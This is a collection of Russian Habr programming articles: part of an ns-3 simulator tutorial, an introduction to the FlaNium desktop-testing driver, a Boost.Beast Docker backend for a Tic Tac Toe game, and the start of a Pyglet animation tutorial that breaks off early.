Первая строка кода в приведенном выше фрагменте создаёт *UdpEchoServerHelper*. Как обычно, это не приложение само по себе, это объект, который помогает нам создавать реальные приложения. Одно из наших соглашений — передавать необходимые атрибуты в конструктор вспомогательного объекта (помощника). В этом случае помощник не может сделать ничего полезного, если ему не предоставлен номер порта на котором сервер будет ожидать пакеты, этот номер также должен быть известен клиенту. В данном случае мы передаем конструктору помощника номер порта. Конструктор, в свою очередь, просто выполняет *SetAttribute* с переданным значением. Позже, при желании, с помощью SetAttribute вы сможете установить другое значение атрибута «Порт».
Подобно многим другим вспомогательным объектам, объект *UdpEchoServerHelper* имеет метод *Install*. Выполнение этого метода, фактически приводит к тому, что создается базовое приложение эхо-сервера и привязывается к узлу. Интересно, что метод *Install* принимает *NodeContainter* в качестве параметра так же, как и другие *Install* методы, которые мы видели.
Неявное преобразование C++, работающее здесь, принимает результат метода *node.Get (1)* (который возвращает умный указатель на объект узла — *Ptr ) и использует его в конструкторе для анонимного объекта *NodeContainer*, который затем передается методу *Install*. Если вы не можете определить в C++ коде, метод с какой сигнатурой компилируется и выполняется, то ищите среди неявных преобразований.*
Теперь мы видим, что *echoServer.Install* собирается установить приложение *UdpEchoServerApplication* на найденный в *NodeContainer*, который мы используем для управления нашими узлами, узел с индексом 1. Метод *Install* вернет контейнер, который содержит указатели на все приложения (в данном случае одно, поскольку мы передали анонимный *NodeContainer*, содержащий один узел) созданный помощником.
Приложениям требуется указать момент запуска генерации трафика *«start»* и может потребоваться дополнительно указать время, когда его остановить *«stop»*. Мы предоставляем оба параметра. Эти времена устанавливаются с помощью методов *ApplicationContainer* *Start* и *Stop*. Эти методы принимают параметры типа *Time*. В этом случае мы используем явную последовательность преобразований C++, чтобы взять C++ *double* 1.0 и преобразовать его в объект тns‑3 Time, использующий объект Seconds для перевода в секунды. Помните, что правила преобразования могут контролироваться автором модели, и C++ имеет свои собственные правила, поэтому вы не всегда можете рассчитывать на то, что параметры будут преобразованы так, как вы ожидали. Две строки,
```
serverApps.Start (Seconds (1.0));
serverApps.Stop (Seconds (10.0));
```
приведет к тому, что приложение эхо-сервера запустится (включится автоматически) через одну секунду после начала симуляции и остановится (отключится) через десять секунд симуляции. В силу того, что мы объявили событие моделирования (событие остановки приложения), которое будет выполнено через десять секунд, то будет просимулировано не менее десяти секунд работы сети.
#### UdpEchoClientHelper
Клиентское приложение *echo* настраивается способом, практически аналогичным серверу. Существует базовый объект *UdpEchoClientApplication*, которым управляет
*UdpEchoClientHelper*.
```
UdpEchoClientHelper echoClient (interfaces.GetAddress (1), 9);
echoClient.SetAttribute ("MaxPackets", UintegerValue (1));
echoClient.SetAttribute ("Interval", TimeValue (Seconds (1.0)));
echoClient.SetAttribute ("PacketSize", UintegerValue (1024));
ApplicationContainer clientApps = echoClient.Install (nodes.Get (0));
clientApps.Start (Seconds (2.0));
clientApps.Stop (Seconds (10.0));;
```
Однако для эхо-клиента нам нужно установить пять разных атрибутов. Первые два атрибута устанавливаются во время создания *UdpEchoClientHelper*. Мы передаем параметры, которые используются (внутри помощника) для установки атрибутов *«RemoteAddress»* и *«RemotePort»* в соответствии с нашим соглашением, о передаче необходимых параметров в конструктор помощника.
Напомним, что мы использовали *Ipv4InterfaceContainer* для отслеживания IP-адресов, которые мы присвоили нашим устройствам. Нулевой интерфейс в контейнере интерфейсов будет соответствовать IP-адресу нулевого узла в контейнере узлов. Первый интерфейс в контейнере интерфейсов соответствует IP-адресу первого узла в контейнере узлов. Итак, в первой строке кода (сверху) мы создаем помощника и сообщаем ему, что удаленным адресом клиента будет IP-адрес, назначенный узлу, на котором находится сервер. Мы также говорим, что нужно организовать отправку пакетов на девятый порт.
Атрибут «MaxPackets» сообщает клиенту максимальное количество пакетов, которое мы можем отправить во время моделирования. Атрибут «Interval» сообщает клиенту, как долго ждать между пакетами, и атрибут «PacketSize» сообщает клиенту, насколько велика должны быть полезная нагрузка пакета. Этой комбинацией атрибутов мы говорим клиенту отправить один 1024-байтовый пакет.
Как и в случае с эхо-сервером, мы устанавливаем эхо-клиенту атрибуты *Start* и *Stop*, но здесь мы запускаем клиент через секунду после включения сервера (через две секунды после начала симуляции).
### 4.2.8 Симулятор
На этом этапе нам нужно запустить симуляцию. Это делается с помощью глобальной функции *Simulator::Run*.
```
Simulator::Run ();
```
Когда мы ранее вызывали методы,
```
serverApps.Start (Seconds (1.0));
serverApps.Stop (Seconds (10.0));
...
clientApps.Start (Seconds (2.0));
clientApps.Stop (Seconds (10.0));
```
мы фактически запланировали события в симуляторе на 1,0 секунды, 2,0 секунды и два события на 10,0 секунды. После вызова *Simulator::Run*, система начнет просматривать список запланированных событий и выполнять их. Сначала он запустит событие через 1,0 секунды, что активирует приложение эхо-сервера (это событие может, в свою очередь, запланировать много других событий). Затем он запустит событие, запланированное на t = 2,0 секунды, которое запустит приложение эхо-клиента. Опять же, это событие может запланировать еще много событий. Реализация события запуска в эхо-клиенте начнет этап передачи данных моделирования, отправив пакет на сервер.
Акт отправки пакета на сервер вызовет цепочку событий, которые будут автоматически запланированы за сценой и которые будут реализовывать механику отправки пакета эхо-сигналов в соответствии с параметрами синхронизации, которые мы установили в сценарии.
В итоге, поскольку мы отправляем только один пакет (напомним, атрибут *MaxPackets* был установлен в единицу), цепочка событий инициированный этим единственным клиентским эхо-запросом закончится, и симуляция перейдет в режим ожидания. Как только это произойдет, оставшимися запланированными событиями будут события *Stop* для сервера и клиента. Когда эти события выполнятся, событий для дальнейшей обработки не останется и *Simulator::Run* вернет управление. Моделирование завершено.
Осталось только прибрать за собой. Это делается путем вызова глобальной функции *Simulator::Destroy*. Поскольку вызывались функции помощников (или код низкого уровня ns‑3), которые организованы так, чтобы в симуляторе были вставлены хуки для уничтожения всех объектов, которые были созданы. Вам не требуется отслеживать какие-либо из этих объектов самостоятельно — все, что вам нужно было сделать это вызвать *Simulator::Destroy* и выйти. Система ns‑3 сделает эту трудную работу за вас. Оставшиеся строки нашего первого ns‑3 скрипта, first.cc, делают именно это:
```
Simulator::Destroy ();
return 0;
}
```
#### Когда симулятор остановится?
ns‑3 — симулятор дискретных событий (DE). В таком симуляторе каждое событие связано со временем его выполнения, а симуляция продолжается обработкой событий в порядке их возникновения по ходу симуляции. События могут стать причиной планирования будущих событий (например, таймер может перепланировать себя, чтобы закончить счет в следующем интервале).
Начальные события обычно инициируются объектом, например, IPv6 будет планировать определение сервисов в сети, запросы соседей и т.д. Приложение планирует первое событие отправки пакета и т.д. Когда событие обрабатывается, оно может генерировать ноль, одно или несколько событий. По мере выполнения симуляции, происходят события, просто заканчиваясь или порождая новые. Симуляция остановится автоматически, если очередь событий окажется пустой или будет обнаружен специальное событие *Stop*. Событие *Stop* генерируется функцией *Simulator::Stop* (остановить время).
Существует типичный случай, когда Simulator::Stop абсолютно необходима для остановки симуляции: когда есть самоподдерживающиеся события. Самоподдерживающиеся (или повторяющиеся) события — это события, которые всегда перепланируются. Как следствие, они всегда сохраняют очередь событий не пустой. Существует много протоколов и модулей, содержащих повторяющиеся события, например:
• FlowMonitor — периодическая проверка на потерянные пакеты;
• RIPng — периодическая трансляция обновления таблиц маршрутизации;
• и т.д.
В таких случаях *Simulator::Stop* необходим для корректной остановки симуляции. Кроме того, когда ns‑3 находится в режиме эмуляции, RealtimeSimulator используется, чтобы синхронизировать часы симуляции с часами машины, и *Simulator::Stop* необходим для остановки процесса.
Многие из программ симуляции в учебнике не вызывают *Simulator::Stop* явно, так как они завершаются автоматически с исчерпанием событий в очереди. Однако эти программы также примут вызов Simulator::Stop. Например, следующий дополнительный оператор в первом примере программы запланирует явную остановку на 11 секунде:
```
+ Simulator::Stop (Seconds (11.0));
Simulator::Run ();
Simulator::Destroy ();
return 0;
}
```
Вышеуказанное фактически не изменит поведение этой программы, так как это конкретное моделирование естественным образом заканчивается через 10 секунд. Но если бы вы изменили время остановки в приведенном выше операторе с 11 секунд до 1 секунды, вы заметили бы, что моделирование останавливается до того, как любой вывод попадет на экран (поскольку вывод происходит примерно через 2 секунды времени симуляции).
Важно вызвать Simulator::Stop до вызова Simulator::Run; в противном случае Simulator::Run может никогда не вернуть управление основной программе для выполнения остановки!
### 4.2.9 Сборка вашего сценария
Мы сделали создание ваших простых скриптов тривиальным. Все, что вам нужно сделать, это поместить ваш скрипт в каталог scratch, и он будет автоматически собран, если вы запустите *Waf*. Давай попробуем. Вернетесь в каталог верхнего уровня и скопируйте *examples/tutorial/first.cc* в каталог *scratch*
```
$ cd ../..
$ cp examples/tutorial/first.cc scratch/myfirst.cc
```
Теперь соберите свой первый пример сценария, используя *waf*:
```
$ ./waf
```
Вы должны увидеть сообщения о том, что ваш первый пример был успешно создан.
```
Waf: Entering directory `/home/craigdo/repos/ns-3-allinone/ns-3-dev/build'
[614/708] cxx: scratch/myfirst.cc -> build/debug/scratch/myfirst_3.o
[706/708] cxx_link: build/debug/scratch/myfirst_3.o -> build/debug/scratch/myfirst
Waf: Leaving directory `/home/craigdo/repos/ns-3-allinone/ns-3-dev/build'
'build' finished successfully (2.357s)
```
Теперь вы можете запустить пример (обратите внимание, что если вы собираете свою программу в директории scratch, то и запускать его вы должны из *scratch*):
```
$ ./waf --run scratch/myfirst
```
Вы должны увидеть похожий вывод:
```
Waf: Entering directory `/home/craigdo/repos/ns-3-allinone/ns-3-dev/build'
Waf: Leaving directory `/home/craigdo/repos/ns-3-allinone/ns-3-dev/build'
'build' finished successfully (0.418s) Sent 1024 bytes to 10.1.1.2
Received 1024 bytes from 10.1.1.1
Received 1024 bytes from 10.1.1.2
```
Здесь вы видите, что система сборки проверяет, что файл был собран, а затем запускает его. Вы видите запись компонент на эхо-клиенте указывает, что он отправил один 1024-байтовый пакет на эхо-сервер 10.1.1.2. Вы тоже см. компонент ведения журнала на эхо-сервере, чтобы сказать, что он получил 1024 байта от 10.1.1.1. Эхо-сервер молча повторяет пакет, и вы видите в журнале эхо-клиента, что он получил свой пакет обратно с сервера.
### 4.3 ns-3 Исходный код
Теперь, когда вы использовали некоторые из помощников ns‑3, вы можете взглянуть на некоторые исходные коды, которые реализует эту функциональность. Самый свежий код можно просмотреть на нашем веб-сервере по следующей ссылке: <https://gitlab.com/nsnam/ns-3-dev.git>. Там вы увидите сводную страницу Mercurial для нашего дерева разработки ns‑3. В верхней части страницы вы увидите несколько ссылок,
```
summary | shortlog | changelog | graph | tags | files
```
Идите дальше и выберите ссылку на файлы. Вот как будет выглядеть верхний уровень большинства наших репозиториев:
```
drwxr-xr-x [up]
drwxr-xr-x bindings python files
drwxr-xr-x doc files
drwxr-xr-x examples files
drwxr-xr-x ns3 files
drwxr-xr-x scratch files
drwxr-xr-x src files
drwxr-xr-x utils files
-rw-r--r-- 2009-07-01 12:47 +0200 560 .hgignore file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 1886 .hgtags file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 1276 AUTHORS file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 30961 CHANGES.html file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 17987 LICENSE file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 3742 README file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 16171 RELEASE_NOTES file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 6 VERSION file | revisions | annotate
-rwxr-xr-x 2009-07-01 12:47 +0200 88110 waf file | revisions | annotate
-rwxr-xr-x 2009-07-01 12:47 +0200 28 waf.bat file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 35395 wscript file | revisions | annotate
-rw-r--r-- 2009-07-01 12:47 +0200 7673 wutils.py file | revisions | annotate
```
Наши примеры сценариев находятся в директории *examples*. Если вы нажмете на примеры, вы увидите список поддиректорий. Один из файлов в поддиректории *tutorial — first.cc*. Если вы нажмете на *first.cc* вы увидите код, который вы только что изучили.
Исходный код находится в основном в директории *src*. Вы можете просмотреть исходный код, нажав на имя директории или нажав на ссылку файлы справа от имени директории. Если вы кликнете на директория src, вы получите список поддиректорий src. Если вы затем кликнете по поддиректории core, вы найдете список файлов. Первый файл, который вы увидите (на момент написания этого руководства) — *abort.h*. Если вы нажмете на ссылку *abort.h*, вы будете отправлены на исходный файл для *abort.h*, который содержит полезные макросы для выхода из скриптов, если обнаружены ненормальные условия. Исходный код для помощников, которые мы использовали в этой главе, можно найти в директории *src/Applications/helper*. Не стесняйтесь рыться в дереве директорий, чтобы понять, что где и разобраться в стиле программ ns‑3. | https://habr.com/ru/post/497478/ | null | ru | null |
# FlaNium: как сделать тестирование Desktop-приложений под Windows проще
На рынке так много программных продуктов для тестирования, что может показаться, будто для всего найдется готовое решение и нет необходимости тратить время и усилия на разработку инструментов тестирования. На самом деле это не так. Мы в [«ЛАНИТ Экспертизе»](https://lanit-exp.ru/) убедились в этом, когда появилась задача тестирования Desktop-приложений, и теперь делимся с вами опытом.
*Источник:* [*kotomatrix.ru*](http://kotomatrix.ru/)
Когда есть доступ к исходному коду и тестирование с разработкой производятся параллельно, то никаких трудностей не возникает, но что делать, когда этого доступа нет и приходится тестировать уже готовый продукт?
В отличие от автоматизации WEB, API или мобильных приложений, тестирование Desktop в некоторой степени – «экзотика», и на это есть несколько причин:
* Отсутствуют качественные Open source решения, наподобие Selenium для Web, а те, что есть, либо сильно устарели, либо неудобны в использовании. Иными словами, воспитывают в автоматизаторах смирение и обреченность.
* Коммерческие продукты хоть и обладают широким функционалом и удобством в использовании, стоят зачастую дороже, чем вся автоматизация и используют [*vendor lock-in*](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%B0_%D0%BA_%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D1%89%D0%B8%D0%BA%D1%83)бизнес-модель, которая также накладывает дополнительные затраты и ограничения (переобучение персонала, отсутствие возможности использовать существующие наработки и решения, полная зависимость от поставщика ПО и т.п.).
* Ввиду стремительного развития web-технологий, Desktop понемногу отмирает, что сильно сказывается на развитии и поддержке инструментов тестирования и наличии квалифицированных специалистов в этой области.
Несмотря на всю пессимистичность сложившейся ситуации с автоматизацией Desktop-приложений, можно выделить некоторые Open source продукты, достойные внимания. Они же в дальнейшем стали основой в разработке собственного инструмента тестирования.
Анализ готовых инструментов
===========================
Обзор предлагаемых решений показал, что Open source продуктов не так уж много. Сначала мы испытали [Winium](https://github.com/2gis/Winium) – Automation framework for Windows platforms.
Winium – это фреймворк для тестирования Desktop Windows приложений на базе Selenium. Он обладает всеми основными требованиями, которые были необходимы для работы с предстоящим проектом:
* поддержка WinForms и WPF приложений;
* REST-протокол взаимодействия между тестами и тестируемым приложением;
* возможность взаимодействия с Selenium (а конкретно Java + Selenium).
Несмотря на все свои преимущества у Winium есть один существенный недостаток – ограниченный функционал. Ядро Cruciatus, на базе которого построен Winium, поддерживает только [AutomationElement Identifiers class](https://docs.microsoft.com/en-us/dotnet/api/system.windows.automation.automationelementidentifiers?redirectedfrom=MSDN&view=net-5.0), и соответственно, доступа к некоторым основным параметрам элементов у него нет. Например, нет поддержки [ValuePattern](https://msdn.microsoft.com/en-us/library/system.windows.automation.valuepattern%28v=vs.110%29.aspx) (нет возможности получить значение положения ProgressBar, Slider, ScrollBar, состояния трехрежимного CheckBox и др.), [SelectionItemPattern](https://msdn.microsoft.com/en-us/library/system.windows.automation.selectionitempattern%28v=vs.110%29.aspx) (нет возможности получить данные о выбранном элементе ComboBox и т.п.) и других паттернов. Данный недостаток был критичным, и мы продолжили поиск.
Следующим, что показалось нам интересным в плане возможностей, оказалась библиотека [FlaUI](https://github.com/FlaUI/FlaUI). Библиотека была написана на C# и не имела какого-либо API для взаимодействия извне. По сути это некая оболочка над библиотеками автоматизации Microsoft Windows Automation API, которая упрощает написание тестов. В отличие от Winium данная библиотека обладает полным функционалом взаимодействия с WinForms и WPF-приложениями, но требует написания тестов на языке C#. Поскольку у нас уже был готовый фреймворк тестирования, реализованный на языке Java, данная библиотека не удовлетворяла наши потребности.
Дальнейший анализ инструментов тестирования показал, что наиболее оптимальный вариант – это реализация своего инструмента. Имеющиеся продукты обладали теми или иными серьезными недостатками, а комбинировать несколько решений не представлялось возможным. Так как абсолютно все Open source решения использовали взаимодействие со стандартной библиотекой [Windows Automation API](https://docs.microsoft.com/en-us/windows/win32/winauto/windows-automation-api-overview), то было принято решение взять за основу ядро FlaUI Core, построенное на основе взаимодействия с данной библиотекой, и обладающее полным функционалом взаимодействия с элементами тестируемого приложения. Затем добавить поддержку Selenium REST API, аналогично Winium. Так родился проект FlaNium.
Что представляет из себя FlaNium
================================
На данный момент в состав проекта входят пока только два компонента.
[***FlaNium.Desktop.Driver***](https://github.com/lanit-exp/FlaNium.Desktop.Driver) – основной компонент, представляющий из себя драйвер взаимодействия с тестируемым приложением посредством Windows Automation API и использующий протокол взаимодействия Selenium REST API.
[***FlaNium.WinAPI***](https://github.com/lanit-exp/FlaNium.WinAPI) ***–*** Java-библиотека, расширяющая протокол Selenium REST API и добавляющая дополнительные возможности по настройке и взаимодействию с FlaNium драйвером. Также данная библиотека позволяет типизировать стандартный Selenium WebElement и привести его к компонентам тестируемого приложения, добавляя дополнительные методы взаимодействия, характерные определенному типу элемента.
Рассмотрим пример работы с FlaNium драйвером на базе Selenium Java
==================================================================
Кто хоть немного сталкивался с тестированием, а особенно с тестированием Web-приложений знает, что такое Selenium WebDriver. Есть много информации про Selenium, поэтому в статье мы не будем рассматривать плюсы и минусы, а также особенности работы с Selenium, а рассмотрим лишь особенности работы с FlaNium драйвером.
Перед началом работы с FlaNium драйвером необходимо загрузить последнюю версию [**драйвера**](https://github.com/lanit-exp/FlaNium.Desktop.Driver/releases/), а также прописать следующие зависимости в **pom.xml**:
```
...
com.github.lanit-exp
FlaNium.WinAPI
LATEST
org.seleniumhq.selenium
selenium-java
3.141.59
...
```
Далее производим настройку и инициализацию драйвера:
```
String DRIVER_PATH = "src/main/resources/driver/FlaNium.Desktop.Driver/FlaNium.Driver.exe";
String APP_PATH = "С:/Test_app.exe";
int driverPort = 9999;
// Инициализация драйвера:
FlaNiumDriverService service = new FlaNiumDriverService.Builder()
// Указание пути до драйвера
.usingDriverExecutable(new File(DRIVER_PATH).getAbsoluteFile())
// Установка порта (по умолчанию 9999)
.usingPort(driverPort)
// Включение режима отладки (вывод логов в консоль)
.withVerbose(true)
// Отключение логирования
.withSilent(false)
.buildDesktopService();
// Инициализация приложения:
DesktopOptions options = new DesktopOptions();
// Указание пути до тестируемого приложения
options.setApplicationPath(new File(APP_PATH));
// Задержка после запуска приложения (сек)
options.setLaunchDelay(5);
// Подключение к ранее запущенному экземпляру приложения
options.setDebugConnectToRunningApp(false);
// Получение экземпляра драйвера приложения
FlaNiumDriver driver = new FlaNiumDriver(service, options);
```
После получения экземпляра FlaniumDriver можно осуществлять поиск контролов приложения и взаимодействовать с ними через стандартные методы библиотеки Selenium.
```
WebElement edit = driver.findElement(By.xpath("//*[(@ControlType = 'Edit') and contains(@Name,'Text')]"));
edit.sendKeys("Test text");
```
Есть возможность поиска элементов по XPath, Name, Id (AutomationId) и ClassName, а также поддерживаются пять параметров поиска с помощью XPath – AutomationId, Name, ClassName, HelpText, ControlType.
```
driver.findElement(By.xpath("//*[(@AutomationId = '')]"));
driver.findElement(By.xpath("//*[(@Name = '')]"));
driver.findElement(By.xpath("//*[(@ClassName = '')]"));
driver.findElement(By.xpath("//*[(@HelpText = '')]"));
driver.findElement(By.xpath("//*[(@ControlType = '')]"));
driver.findElement(By.name("Checkbox1"));
driver.findElement(By.id("Form1"));
driver.findElement(By.className("MenuItem"));
```
Для более комфортной работы лучше воспользоваться такими инструментами как FlaUInspect, UISpy и подобными, так как они значительно упрощают написание тестов приложения, позволяя визуально отобразить структуру и параметры элементов приложения. Данные инструменты также позволяют понять, как можно обратиться к различным элементам или какие паттерны поддерживает конкретный из них.
Благодаря расширению протокола Selenium есть возможность типизировать любой WebElement и получить дополнительные возможности для работы. Для этого необходимо создать экземпляр требуемого класса и передать WebElement в качестве параметра:
```
TextBox textBox = new TextBox(edit);
// где edit — WebElement полученный ранее
textBox.setText("Test text2");
```
Рассмотрим на примере, для чего нужна типизация и что нам даёт расширение протокола Selenium. Возьмем для примера выбор значения из выпадающего списка:
На рисунке ниже изображено тестируемое приложение (слева) и инспектор (справа):
У нас есть элемент ComboBox, согласно инспектору, доступа к элементам списка у нас нет, чтобы его получить необходимо раскрыть список нажав на кнопку «Открыть».
После раскрытия списка мы получаем доступ ко всем вложенным элементам и можем осуществлять поиск и выбор необходимого элемента.
Вот так будет выглядеть код при использовании стандартных Selenium-методов:
```
// Находим элемент комбобокса по id элемента
WebElement comboBox = driver.findElement(By.xpath("//*[@AutomationId = 'NonEditableCombo']"));
// Находим кнопку раскрытия списка и кликаем по ней
comboBox.findElement(By.xpath(".//*[@ControlType = 'Button']")).click();
// После раскрытия списка, нам становятся доступны варианты выбора
List items = comboBox.findElements(By.xpath(".//\*[@ControlType = 'ListItem']"));
// Далее пробегаемся по всему списку элементов и сравниваем имена с нужным нам значением
items.stream()
.filter(webElement -> webElement.getAttribute("Name").equals("Item 3"))
.findFirst().get().click();
// И в конце кликаем на найденном элементе
```
А вот так будет выглядеть то же самое, но при использовании методов типизированных элементов библиотеки FlaNium.WinAPI:
```
// Находим элемент комбобокса по id элемента
ComboBox comboBox = new ComboBox(driver.findElement(By.xpath("//*[@AutomationId = 'NonEditableCombo']")));
// Выбираем необходимое значение
comboBox.select("Item 3");
```
Как мы видим, использование данных методов значительно упрощает взаимодействие и сокращает код. С полным списком поддерживаемых элементов и реализованных методов можно ознакомиться по [ссылке](https://www.javadoc.io/static/com.github.lanit-exp/FlaNium.WinAPI/1.0/FlaNium/WinAPI/elements/package-summary.html).
Итог
====
Мы не изобретали ничего кардинально нового, но взяв в основу преимущества Winium и FlaUI, скомпоновали продукт с удобным универсальным интерфейсом и широкими возможностями взаимодействия с тестируемым приложением. Удалось объединить протокол Selenium REST и библиотеки Windows Automation API.
Давайте рассмотрим, чем же обязан FlaNium этим двум проектам:
На момент написания статьи драйвер уже внедрен в один из наших проектов и успешно работает. Вложив силы и время в разработку собственного драйвера, удалось значительно сократить время и потратить меньше усилий на создание фреймворка и его внедрение, а также сильно упростить написание тестов.
Поскольку драйвер использует универсальный протокол взаимодействия, стало возможным использовать уже имеющийся [фреймворк](https://github.com/lanit-izh/automation-framework-core) тестирования с некоторыми изменениями. Была добавлена работа с элементами посредством библиотеки FlaNium.WinAPI и реализована логика работы с конкретным тестируемым приложением. Также удалось избежать сложностей при работе с элементами приложения, поскольку используется полноценная библиотека взаимодействия и не возникало ситуаций, когда нет доступа к какому-либо параметру элемента.
Кроме всего перечисленного, внедрение данного драйвера позволило отказаться от вендорского ПО для тестирования, сократив стоимость автоматизации и её поддержки на значительную сумму, а также унифицировать стек технологий и требования к квалификации автоматизаторов.
Мы не останавливаемся на достигнутом и продолжаем развивать данный проект. Помимо взаимодействия с приложениями посредством Windows API ведется разработка технологии взаимодействия с приложением «изнутри» посредством инжекта исполняемой библиотеки в код тестируемого приложения. Данная технология необходима, например, для полноценного тестирования Delphi приложений, чего нельзя добиться с помощью стандартного Windows API. | https://habr.com/ru/post/553588/ | null | ru | null |
# Tic Tac Toe, часть 5: Бэкенд на С++ Boost.Beast, HTTP
> [Tic Tac Toe: содержание цикла статей](https://habr.com/ru/post/461589/)
В этой статье рассмотрим реализацию бэкенда с применением [C++ Boost.Beast](https://www.boost.org/doc/libs/1_70_0/libs/beast/doc/html/index.html) библиотеки на примере синхронного сервера. Та же функциональность, что и в [прошлой статье](https://habr.com/ru/post/460621/) — получаем от бэкенда случайное число от 0 до 8 включительно. Оказалось, что поднимать контейнер для Beast ничуть не сложнее, чем для Flask'а. Главное сразу найти хороший [подходящий пример](https://github.com/vinniefalco/CppCon2018). Здесь я взял Dockerfile для своего проекта.
Картинка взята из презентации к [этому докладу](https://www.youtube.com/watch?v=7FQwAjELMek) для привлечения внимания, а также для повышения настроения и мотивации тем, кто не знает C++.
###### Установка проекта
Клонируем проект на свой компьютер:
```
git clone https://github.com/nomhoi/tic-tac-toe-part5.git
```
Запускаем контейнеры:
```
cd tic-tac-toe-part5
docker-compose up -d
```
Выполняем сборку веб-приложения:
```
cd front
npm install
npm run-script build
```
Открываем броузер по адресу <http://localhost>.
###### Docker контейнеры
Сервис **flask** заменили на сервис **beast**.
**docker-compose.yml:**
```
version: '3.6'
services:
nginx:
image: nginx:alpine
container_name: nginx
volumes:
- ./front/public:/usr/share/nginx/html
- ./default.conf:/etc/nginx/conf.d/default.conf:ro
ports:
- "80:80"
depends_on:
- beast
networks:
- backend
beast:
container_name: beast
build:
context: beast/
dockerfile: Dockerfile
ports:
- "8080:8080"
networks:
- backend
networks:
backend:
name: backend
```
###### Фронтенд
Здесь поменяли только настройку в конфигурационном файле nginx'a **default.conf**.
```
location /number {
proxy_pass http://beast:8080;
}
```
###### Бэкенд
Dockerfile был взят здесь: <https://github.com/vinniefalco/CppCon2018>.
```
FROM ubuntu:bionic AS build
# Install tools required for the project
RUN apt-get update \
&& apt-get install gcc -y \
&& apt-get install g++ -y \
&& apt-get install cmake -y \
&& apt-get install wget -y
# Install Boost
RUN cd /home \
&& wget http://downloads.sourceforge.net/project/boost/boost/1.70.0/boost_1_70_0.tar.gz \
&& tar xfz boost_1_70_0.tar.gz \
&& rm boost_1_70_0.tar.gz \
&& cd boost_1_70_0 \
&& ./bootstrap.sh --with-libraries=system \
&& ./b2 install
# Copy the entire project and build it
COPY ./app /cpp/src/project/
WORKDIR /cpp/src/project/
RUN g++ http_server_sync.cpp -o http_server_sync -lpthread
FROM ubuntu:bionic
COPY --from=build /cpp/src/project /app/
ENTRYPOINT ["/app/http_server_sync", "0.0.0.0", "8080", "/app/wwwroot"]
EXPOSE 8080
```
Как видим, используется технология [многоэтапной сборки](https://docs.docker.com/develop/develop-images/multistage-build/). На первом этапе выполняется установка нужных пакетов и библиотеки Boost, выполняется сборка сервера **http\_server\_sync**. На втором этапе готовый сервер копируется в финальный контейнер и там запускается.
Исходный код синхронного сервера взял [здесь](https://www.boost.org/doc/libs/1_70_0/libs/beast/example/http/server/sync/http_server_sync.cpp). Добавил функцию **handle\_number\_request** для обработки запроса по адресу **/number**.
```
// Return a random number
template<
class Body, class Allocator,
class Send>
void
handle_number_request(
beast::string_view doc_root,
http::request>&& req,
Send&& send)
{
http::response res;
res.version(11); // HTTP/1.1
res.result(http::status::ok);
res.set(http::field::server, "Beast");
res.body() = std::to\_string(rand() % 9);
res.prepare\_payload();
return send(std::move(res));
}
```
В тело ответа пишем случайное число от 0 до 8 включительно.
###### Заключение
Как видим, Flask нам помог быстро получить общее представление в целом о взаимодействии между фронтендом и бэкендом, мы быстро получили каркас всего приложения. При разработке бэкенда на Beast нам уже было понятно, как устроено взаимодействие и сосредоточились только на поиске подходящего контейнера и написании самого бэкенд-сервера.
В качестве домашнего задания можно попробовать переделать сервис nginx с использованием многоэтапной сборки, чтобы сборка фронтенда выполнялась на первом этапе. Сейчас сервис nginx настроен так, чтобы было удобнее вести разработку фронтенда, без лишней сборки.
Второе домашнее задание: попробовать убрать сервис nginx, и поднять фронтенд в сервисе beast. Мне кажется, должно получиться.
Выкладывайте в комментариях свои решения.
Третье задание: помедитировать на тему масштабируемости — вертикальной и горизонтальной. Как скомбинировать эти два языка, C++ и Python, в одном веб-фреймворке для решения этого вопроса.
###### Репозиторий на GitHub
<https://github.com/nomhoi/tic-tac-toe-part5> | https://habr.com/ru/post/460991/ | null | ru | null |
# Создание анимации средствами Python 2.7
Эта статья познакомит вас с основами создания анимации с использованием Python и Pyglet. Pyglet разработан для работы с 3D графикой, но в этой статье мы будем использовать его для создания очень простой 2D анимации. В частности, мы познакомимся с базовыми приемами использования Pyglet (разработка кода для создания и воспроизведения анимации) и создадим анимацию с помощью последовательности изображений.
Итак, приступим…
Анимация представляет собой последовательность кадров, быстро отображаемых один за другим. Это создает оптическую иллюзию движения объектов.
#### УСТАНОВКА PYGLET
Pyglet предоставляет собой API для работы с мультимедийными данными в приложениях, написанных с помощью Python. Это OpenGL библиотека, которая работает на нескольких платформах. Она в основном используется для разработки игровых и других графически насыщенных приложений. Pyglet можно скачать по ссылке: <http://www.pyglet.org/download.html>. Ставим Pyglet версии 1.1.4 или более поздней, если такая имеется. При установке Pyglet не должно возникнуть никаких трудностей.
##### Платформа Windows
Скачиваем и устанавливаем дистрибутив Pyglet 1.1.4.msi или более поздней версии.
Python 2.7 должен быть установлен.
##### Другие платформы
На сайте Pyglet представлен бинарный файл для Mac OS X. Загружаем и установливаем Pyglet-1.1.4.dmg или более поздней версии.
В Linux устанавливаем Pyglet 1.1.4 или более поздней версии, подходящий сборке Вашей системы.
Если таковой отсутствует, библиотека может быть установлена другим способом:
* Скачайте и распакуйте архив Pyglet-1.1.4.tar.gz или более поздней версии.
* Убедитесь, что питон настроен на работу в командной строке. В противном случае, установите правильный путь к исполняемому файлу Python в переменной окружения PYTHONPATH.
* В командной строке, перейдите в распакованный архив, а затем выполните следующую команду:
```
python setup.py install
```
* Далее следуем инструкциям, описанным в файлах readme/install, находящихся в папке с библиотекой.
##### Проверка установки
Прежде чем двигаться дальше, нужно убедиться, что Pyglet установлен правильно. Чтобы это проверить, просто запустите Python из командной строки и введите следующую команду:
```
import pyglet
```
Если импорт будет успешным, все готово к работе!
#### ЗНАКОМСТВО С PYGLET
##### ВАЖНЫЕ КОМПОНЕНТЫ
